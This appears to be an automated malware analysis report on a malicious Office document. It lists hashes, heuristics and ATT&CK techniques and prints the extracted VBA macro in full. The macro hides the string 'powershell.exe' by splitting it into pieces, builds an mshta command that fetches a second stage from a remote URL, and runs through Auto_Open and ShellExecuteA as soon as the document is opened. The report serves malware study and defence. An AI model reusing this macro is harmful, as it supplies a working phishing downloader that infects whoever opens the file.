Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 691f6b49c798c968…

MALICIOUS

Office (OOXML)

10.4 KB First seen: 2021-08-20
MD5: 7c421ee1b8bbb76ac3b551e6c22a0988 SHA-1: 4dcd6095e71acc04b7a1bd9ce69a3ac250cc7c8b SHA-256: 691f6b49c798c9680c7794f16083284f1288fb89ac8f1f41cffabfb571557fa7
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA macro. The macro reassembles the string 'powershell.exe' and constructs a command that includes a URL, 'https://www.bitly.com/yuiqeowhjkasgdbhasdasd', which is likely used to download and execute a second-stage payload. The Auto_Open subroutine ensures the malicious macro executes automatically when the document is opened.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()

Related samples 7

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2396 bytes
SHA-256: b0ea66374970976effc2c81bb6bafc5b5cc30c4570aa6c67e147be256efeb4ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class12"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Function MainCallex()

 Dim strFile As String
    Dim clock As String
    Dim coooo As Long
u4 = "" + "p" + "o" + "w" + "e" + "r" + "s" + "h" + "e" + "l" + "l" + "." + "e" + "x" + "e"
u5 = "" + "-c ""c" + "m" + "d m" + "s" + "gbox/rm" + "s" + "h" + "t" + "a "
u6 = "" + "h" + "t" + "t" + "p" + "s" + ":" + "/" + "/" + "w" + "ww" + "." + "bitl"
u7 = "" + "y.com/"
u8 = "" + """yuiqeowhjkasgdbhasdasd"
ii = u5 + u6 + u7 + u8
clock = "OPEN"

Dim bhosa As New Class3

bhosa. _
Callex u4, ii



End Function

Attribute VB_Name = "Module111"

Sub Auto_Open()
   
Dim obj As New Class12

obj.MainCallex

End Sub

Attribute VB_Name = "Class3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

#If VBA7 Then
  #If Win64 Then ' Declare using PtrSafe for Office 64 bit
    

Private Declare PtrSafe Function Dainava Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As LongPtr, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr


#Else ' Declare for Office 32 bit
  
Private Declare Function Dainava Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
    #End If

#Else ' Declare for Office 32 bit
  
Private Declare Function Dainava Lib "shell32.dll" Alias "ShellExecuteA" ( _
        ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
      #End If


Public Sub Callex(ByVal mora As String, ByVal nora As String)
 
Dim nona As Integer




nona = Dainava(0&, "", mora, nora, "", 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 23040 bytes
SHA-256: 0f3ffc2af4c1ddbd48a4f4ddce8ce63c2af462ba589ac8f0bf643decfa8d46c8

Open this report in the interactive analyzer, or submit your own file for analysis.